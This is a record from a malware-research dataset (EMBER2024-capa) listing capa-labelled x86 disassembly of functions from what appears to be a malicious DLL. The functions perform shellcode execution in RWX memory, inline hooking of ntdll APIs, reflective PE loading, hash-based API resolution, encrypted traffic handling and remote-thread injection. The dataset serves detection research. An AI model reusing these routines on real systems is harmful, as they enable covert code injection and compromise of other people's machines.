joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002b76
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push 0x110
xor esi, esi
lea eax, [ebp - 0x114]
push esi
push eax
call fcn.10010a40
add esp, 0xc
mov dword [ebp - 0x118], 0x114
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x10002bbf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10002ca2
cmp dword [ebp - 0x114], 5
jne 0x10002bdb
cmp dword [ebp - 0x110], 2
jne 0x10002bdb
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10002bb2
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, 0x3000
push 0x40
push ebx
push 0x51
push 0
call edi
mov dword [ebp - 4], eax
test eax, eax
jne 0x10002c05
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10002ca0
push 0x40
push ebx
push 0x148
push 0
call edi
mov edi, eax
test edi, edi
jne 0x10002c21
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10002c80
push 0x51
push 0x10027f30
push dword [ebp - 4]
call fcn.10010150
push 0x128
push 0x10027f98
push edi
call fcn.10010150
mov eax, dword [ebp + 8]
lea ebx, [edi + 0x128]
and dword [ebx + 0x18], esi
add esp, 0x18
mov dword [ebx], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 8], eax
mov eax, dword [ebp + 0x10]
push ebx
push edi
mov dword [ebx + 0x10], eax
call dword [ebp - 4]
test eax, eax
jne 0x10002c70
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10002c17
mov ecx, dword [ebx + 0x18]
test ecx, ecx
jne 0x10002c7b
push 6
jmp 0x10002c68
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x4000
push 0
push dword [ebp - 4]
call ebx
test edi, edi
je 0x10002ca0
push 0x4000
push 0
push edi
call ebx
pop edi
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10004584
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0x5c
push esi
call fcn.100118a0
pop ecx
pop ecx
test eax, eax
je 0x1000459c
lea esi, [eax + 1]
push 0x40
push 0x1000
push 0x180
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1002abf4], eax
test eax, eax
je 0x1000463e
push eax
call fcn.1000488c
push 0xff
push esi
push pe_nt_image_headers32
push dword [0x1002abf4]
call fcn.100117f4
push dword [0x1002abf4]
call fcn.100112d0
mov ecx, dword [0x1002abf4]
inc eax
mov dword [ecx + 0x100], eax
mov ecx, dword [0x1002abf4]
mov eax, dword [ebp + 0xc]
mov dword [ecx + 0x108], eax
push dword [0x1002abf4]
call fcn.10004ae4
add esp, 0x1c
push dword [0x1002abf4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x1002abf4]
mov esi, eax
call fcn.10004a0c
mov dword [esp], 0x8000
push 0
push dword [0x1002abf4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, esi
pop esi
pop ebp
ret
Function at 0x1000480e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 4]
push edi
mov edi, dword [ebp + 0xc]
push eax
push 5
push edi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, edi
mov byte [esi + 5], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 6], eax
lea eax, [ebp - 0x20]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
mov eax, dword [ebp + 0x14]
sub eax, edi
mov byte [edi], 0xe9
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000488c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0x10028454
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x100049a7
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push 0x10028460
push ebx
call esi
push 0x10028474
push ebx
mov edi, eax
call esi
push 0x1002848c
push dword [ebp - 4]
mov ebx, eax
call esi
push 0x10028498
push dword [ebp - 4]
mov dword [ebp - 8], eax
call esi
push 0x100284a8
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call esi
push 0x100284b8
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call esi
mov esi, dword [ebp + 8]
push 0x100047b3
add esi, 0x13c
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.1000480e
mov dword [edi + 0x178], esi
lea esi, [edi + 0x11e]
push 0x100046e8
push esi
push ebx
push edi
call fcn.1000480e
mov dword [edi + 0x16c], esi
lea esi, [edi + 0x128]
push 0x10004748
push esi
push dword [ebp - 8]
push edi
call fcn.1000480e
mov dword [edi + 0x170], esi
lea esi, [edi + 0x132]
push 0x1000478e
push esi
push dword [ebp - 0xc]
push edi
call fcn.1000480e
add esp, 0x40
mov dword [edi + 0x174], esi
lea esi, [edi + 0x114]
push 0x100046a9
push esi
push dword [ebp - 0x10]
push edi
call fcn.1000480e
mov dword [edi + 0x168], esi
lea esi, [edi + 0x146]
push 0x100047eb
push esi
push dword [ebp - 4]
push edi
call fcn.1000480e
add esp, 0x20
mov dword [edi + 0x17c], esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100049ac
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0x1c
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x18]
push dword [ebp - 0x24]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esp, ebp
pop ebp
ret

Function at 0x10004a0c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0x100284c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x10004adf
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.NtMapViewOfSection
push ebx
call esi
push str.NtQueryAttributesFile
push ebx
mov edi, eax
call esi
push str.NtOpenFile
push dword [ebp - 4]
mov ebx, eax
call esi
push str.NtCreateSection
push dword [ebp - 4]
mov dword [ebp - 8], eax
call esi
push str.NtOpenSection
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call esi
push str.NtClose
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call esi
mov ecx, dword [ebp + 8]
mov esi, eax
add ecx, 0x13c
push ecx
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.100049ac
lea ecx, [edi + 0x11e]
push ecx
push ebx
push edi
call fcn.100049ac
lea eax, [edi + 0x128]
push eax
push dword [ebp - 8]
push edi
call fcn.100049ac
lea eax, [edi + 0x132]
push eax
push dword [ebp - 0xc]
push edi
call fcn.100049ac
lea eax, [edi + 0x114]
push eax
push dword [ebp - 0x10]
push edi
call fcn.100049ac
lea eax, [edi + 0x146]
push eax
push esi
push edi
call fcn.100049ac
add esp, 0x48
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004ae4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov edi, dword [ebp + 8]
push 0x40
push 0x3000
mov eax, dword [edi + 0x108]
mov esi, dword [eax + 0x3c]
add esi, eax
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
mov dword [edi + 0x10c], eax
test eax, eax
jne 0x10004b2b
push 0x40
push 0x3000
push dword [esi + 0x50]
push eax
call ebx
mov dword [edi + 0x10c], eax
mov eax, dword [esi + 0x50]
push str.NtLockVirtualMemory
push 0x1002853c
mov dword [edi + 0x110], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004b6c
mov ecx, dword [edi + 0x10c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x50]
mov dword [ebp + 8], ecx
lea ecx, [ebp + 8]
push 1
push ecx
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
call eax
push 0
push dword [esi + 0x54]
push dword [edi + 0x108]
push dword [edi + 0x10c]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and dword [ebp + 8], 0
xor ecx, ecx
movzx eax, word [esi + 0x14]
cmp cx, word [esi + 6]
jae 0x10004bcc
lea ebx, [esi + 0x2c]
add ebx, eax
mov eax, dword [ebx]
add eax, dword [edi + 0x108]
push 0
push dword [ebx - 4]
push eax
mov eax, dword [ebx - 8]
add eax, dword [edi + 0x10c]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp + 8]
lea ebx, [ebx + 0x28]
movzx eax, word [esi + 6]
inc ecx
mov dword [ebp + 8], ecx
cmp ecx, eax
jl 0x10004b9a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004f56
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x18
push 0x10025478
call fcn.100107a0
xor esi, esi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x10004f72
xor eax, eax
jmp 0x10005006
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x78]
add ebx, edi
mov eax, dword [ebx + 0x1c]
add eax, edi
mov dword [ebp + 8], eax
mov edx, dword [ebx + 0x20]
add edx, edi
mov dword [ebp - 0x20], edx
mov ecx, dword [ebx + 0x24]
add ecx, edi
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0xc]
test ecx, 0xffff0000
jne 0x10004faf
movzx eax, cx
sub eax, dword [ebx + 0x10]
jmp 0x10004fd6
mov ebx, dword [ebx + 0x18]
mov dword [ebp - 0x28], ebx
mov eax, ebx
dec ebx
mov dword [ebp - 0x28], ebx
test eax, eax
je 0x10005000
mov eax, dword [edx]
add eax, edi
push ecx
push eax
call fcn.10011240
pop ecx
pop ecx
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x10004fe0
movzx eax, word [eax]
mov esi, dword [ebp + 8]
mov esi, dword [esi + eax*4]
add esi, edi
jmp 0x10004ffd
mov edx, dword [ebp - 0x20]
add edx, 4
mov dword [ebp - 0x20], edx
add eax, 2
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
jmp 0x10004fb5
mov dword [ebp - 0x24], esi
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.100107db
ret 8
Function at 0x1000500e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov edx, 0x10b
push edi
mov eax, dword [esi + 0x3c]
add eax, esi
movzx ecx, word [eax + 0x18]
cmp cx, dx
jne 0x10005033
xor edi, edi
add eax, 0x78
jmp 0x10005049
mov edx, 0x20b
cmp cx, dx
jne 0x100050dc
xor edi, edi
inc edi
add eax, 0x88
push edi
push esi
push dword [eax]
call fcn.10005ad7
push edi
push esi
lea ebx, [esi + eax]
push dword [ebx + 0x20]
call fcn.10005ad7
push edi
push esi
push dword [ebx + 0x24]
add eax, esi
mov dword [ebp + 8], eax
call fcn.10005ad7
add eax, esi
add esp, 0x24
test dword [ebp + 0xc], 0xffff0000
mov dword [ebp - 4], eax
jne 0x100050a6
push edi
push esi
push edi
push esi
push dword [ebx + 0x1c]
call fcn.10005ad7
mov ecx, dword [ebp + 0xc]
add esp, 0xc
movzx ecx, cx
sub ecx, dword [ebx + 0x10]
add eax, esi
push dword [eax + ecx*4]
call fcn.10005ad7
add esp, 0xc
jmp 0x100050de
mov eax, dword [ebx + 0x18]
jmp 0x100050d8
dec eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push edi
push esi
push dword [eax]
call fcn.10005ad7
push dword [ebp + 0xc]
add eax, esi
push eax
call fcn.100131a0
add esp, 0x14
test eax, eax
jne 0x100050e5
add dword [ebp + 8], 4
add dword [ebp - 4], 2
mov eax, dword [ebp - 8]
test eax, eax
jne 0x100050ab
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push esi
push edi
push esi
push dword [ebx + 0x1c]
call fcn.10005ad7
mov ecx, dword [ebp - 4]
add esp, 0xc
movzx ecx, word [ecx]
jmp 0x10005097

Function at 0x100050fc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x14
push 0x10025468
call fcn.100107a0
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
test esi, esi
je 0x1000518e
cmp dword [ebp + 0xc], eax
je 0x1000518e
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push esi
call fcn.1000500e
pop ecx
pop ecx
test eax, eax
je 0x10005176
add eax, esi
mov dword [ebp + 8], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10005176
call dword [ebp + 8]
test eax, eax
je 0x10005165
lea ecx, [ebp - 0x1c]
push ecx
push 6
push 0
call eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x10005190
xor eax, eax
call fcn.100107db
ret 0xc
Function at 0x10005252
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12d0
call fcn.10011380
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, dword [eax + 0x1c]
mov edx, dword [eax + 0x24]
add ecx, edi
add edx, edi
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x20]
mov eax, dword [eax + 0x18]
add ecx, edi
mov dword [ebp + 8], edx
xor edx, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x100052e7
mov ecx, dword [ecx + edx*4]
mov ebx, 0x775a
add ecx, edi
cmp word [ecx], bx
jne 0x100052df
mov al, byte [ecx]
xor ebx, ebx
ror ebx, 0xd
movsx eax, al
add ebx, eax
inc ecx
mov al, byte [ecx]
test al, al
jne 0x100052a7
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [ebp + esi*8 - 0x12cc], ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [ebp + esi*8 - 0x12c8], eax
inc esi
cmp esi, 0x258
je 0x100052e7
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
inc edx
cmp edx, eax
jb 0x10005294
lea eax, [esi - 1]
mov dword [ebp - 0x12d0], esi
xor edi, edi
test eax, eax
je 0x10005341
mov eax, esi
xor ebx, ebx
sub eax, edi
dec eax
je 0x10005339
lea edx, [ebp - 0x12c8]
mov ecx, dword [edx]
mov dword [ebp + 8], ecx
cmp ecx, dword [edx + 8]
jbe 0x1000532c
mov eax, dword [edx + 4]
mov ecx, dword [edx - 4]
mov dword [edx - 4], eax
mov eax, dword [edx + 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov dword [edx + 4], ecx
mov dword [edx + 8], eax
mov esi, dword [ebp - 0x12d0]
mov eax, esi
inc ebx
sub eax, edi
add edx, 8
dec eax
cmp ebx, eax
jb 0x10005305
inc edi
lea eax, [esi - 1]
cmp edi, eax
jb 0x100052f6
mov ebx, dword [ebp + 0x10]
xor edi, edi
test ebx, ebx
je 0x10005388
xor eax, eax
test esi, esi
je 0x10005383
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + edi*4]
mov ebx, dword [edx]
cmp dword [ebp + eax*8 - 0x12cc], ebx
mov ebx, dword [ebp + 0x10]
je 0x1000536b
inc eax
cmp eax, esi
jb 0x10005356
jmp 0x10005383
mov dword [edx + 8], eax
push dword [ecx + edi*4]
push dword [ebp + eax*8 - 0x12c8]
call fcn.10005558
pop ecx
pop ecx
test eax, eax
je 0x100053a9
inc edi
cmp edi, ebx
jb 0x1000534a
xor ecx, ecx
test ebx, ebx
je 0x1000539f
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
cmp dword [eax + 0xc], 0
je 0x100053a9
inc ecx
cmp ecx, ebx
jb 0x10005391
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
jmp 0x100053a2

Function at 0x100054a7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
cmp dword [ebp + 0x10], ecx
jbe 0x100054ca
mov edx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, ecx
and eax, 3
mov al, byte [eax + esi]
xor byte [ecx + edx], al
inc ecx
cmp ecx, dword [ebp + 0x10]
jb 0x100054b8
pop esi
pop ebp
ret
Function at 0x10005c13
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
add eax, 0xfffffffc
push esi
push edi
push eax
lea eax, [ebx + 4]
xor esi, esi
push eax
push ebx
mov dword [ebp - 4], esi
call fcn.100054a7
push 0x34
push 1
call fcn.10010911
mov edi, eax
add esp, 0x14
test edi, edi
jne 0x10005c4d
push 8
pop esi
jmp 0x10005d6d
push dword [ebx + 0x14]
call dword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x58]
test ecx, ecx
je 0x10005d18
cmp dword [ecx + 0xc], esi
je 0x10005d18
test eax, eax
je 0x10005d18
push dword [ebx + 0x18]
call dword [sym.imp.WS2_32.dll_ntohl]
sub eax, 0x18
mov dword [ebp + 0x14], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push esi
push esi
mov eax, dword [eax + 0x58]
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
jne 0x10005caa
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10005d62
push esi
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 1
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005c9d
push esi
lea eax, [ebx + 0x20]
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005c9d
lea eax, [ebp + 0x14]
push eax
lea eax, [ebx + 0x30]
push eax
push esi
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10005c9d
push dword [ebp + 0x14]
lea eax, [ebx + 0x30]
push eax
push dword [ebp + 0x14]
lea eax, [ebx + 0x20]
push eax
call fcn.100134f7
mov eax, dword [ebp + 0x14]
add esp, 0x10
add eax, 8
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 0x18]
mov dword [edi + 0x18], eax
mov eax, dword [ebx + 0x1c]
push dword [edi + 0x18]
mov dword [edi + 0x1c], eax
call dword [sym.imp.WS2_32.dll_ntohl]
add eax, 0xfffffff8
push eax
mov dword [ebp + 0x14], eax
mov dword [edi + 0x24], eax
call fcn.100100b0
mov edx, eax
mov dword [edi + 0x20], edx
pop ecx
test edx, edx
jne 0x10005d4b
push 8
pop esi
jmp 0x10005d66
mov ecx, dword [ebp + 0x14]
lea eax, [ebx + 0x20]
push ecx
push eax
push ecx
push edx
call fcn.10013478
mov eax, dword [ebp + 0xc]
add esp, 0x10
mov dword [eax], edi
test esi, esi
je 0x10005d6d
push edi
call fcn.100038f9
pop ecx
cmp dword [ebp - 4], 0
je 0x10005d7c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006146
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt
Import public key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
mov esi, ebx
mov dword [ebp - 0xc], ebx
push edi
mov edi, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x10006284
cmp dword [ebp + 0xc], ebx
je 0x10006284
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x8000
push dword [ebp + 0xc]
push dword [ebp + 8]
push 8
push 1
call dword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x100061a2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10006289
push 0xf0000000
push 1
push 0x10028928
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
jne 0x100061d3
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push eax
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
je 0x10006195
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push 1
push dword [ebp - 8]
call dword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
test eax, eax
je 0x10006195
mov eax, dword [ebp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push eax
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push eax
push 1
push eax
push dword [ebp - 4]
call ebx
push dword [ebp + 8]
push 1
call fcn.10010911
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x1000621d
push 0xe
pop esi
jmp 0x10006298
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push edi
call fcn.10013478
add esp, 0x10
lea eax, [ebp + 0x14]
push dword [ebp + 8]
push eax
push edi
push 0
push 1
push 0
push dword [ebp - 4]
call ebx
test eax, eax
je 0x10006195
mov edx, dword [ebp + 8]
xor ebx, ebx
test edx, 0xfffffffe
jbe 0x10006278
mov cl, byte [ebx + edi]
sub edx, ebx
mov al, byte [edx + edi - 1]
mov byte [ebx + edi], al
mov eax, dword [ebp + 8]
sub eax, ebx
inc ebx
mov byte [eax + edi - 1], cl
mov edx, dword [ebp + 8]
mov eax, edx
shr eax, 1
cmp ebx, eax
jb 0x10006257
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
mov eax, dword [ebp + 0x1c]
mov dword [eax], edx
jmp 0x10006289
mov esi, 0xa0
test esi, esi
je 0x10006298
test edi, edi
je 0x10006298
push edi
call fcn.10010078
pop ecx
cmp dword [ebp - 0xc], 0
je 0x100062a7
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 4], 0
je 0x100062b6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 8], 0
je 0x100062c7
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006c03
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10006c3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10006c70
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x10006c68
mov eax, esi
add eax, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push esi
push ecx
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10006c68
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
sub edi, dword [ebp - 4]
jne 0x10006c45
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006cd7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 0x1c], 0
push ebx
push esi
mov esi, dword [ebp + 0x18]
push edi
lea edi, [ebp - 4]
cmovne edi, dword [ebp + 0x1c]
xor ebx, ebx
push edi
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x10006d8f
mov eax, dword [0x1002ac18]
mov dword [ebp + 0x1c], ebx
cmp dword [0x1002ac1c], ebx
jne 0x10006d4d
test eax, eax
jne 0x10006d43
push str.RtlCreateUserThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1002ac18], eax
mov dword [0x1002ac1c], 1
test eax, eax
je 0x10006d87
lea ecx, [ebp - 0xc]
shr esi, 2
push ecx
lea ecx, [ebp + 0x1c]
and esi, 1
push ecx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push ebx
push ebx
push esi
push ebx
push dword [ebp + 8]
call eax
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
jne 0x10006d8f
test edi, edi
je 0x10006d8f
mov eax, dword [ebp - 8]
mov dword [edi], eax
jmp 0x10006d8f
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret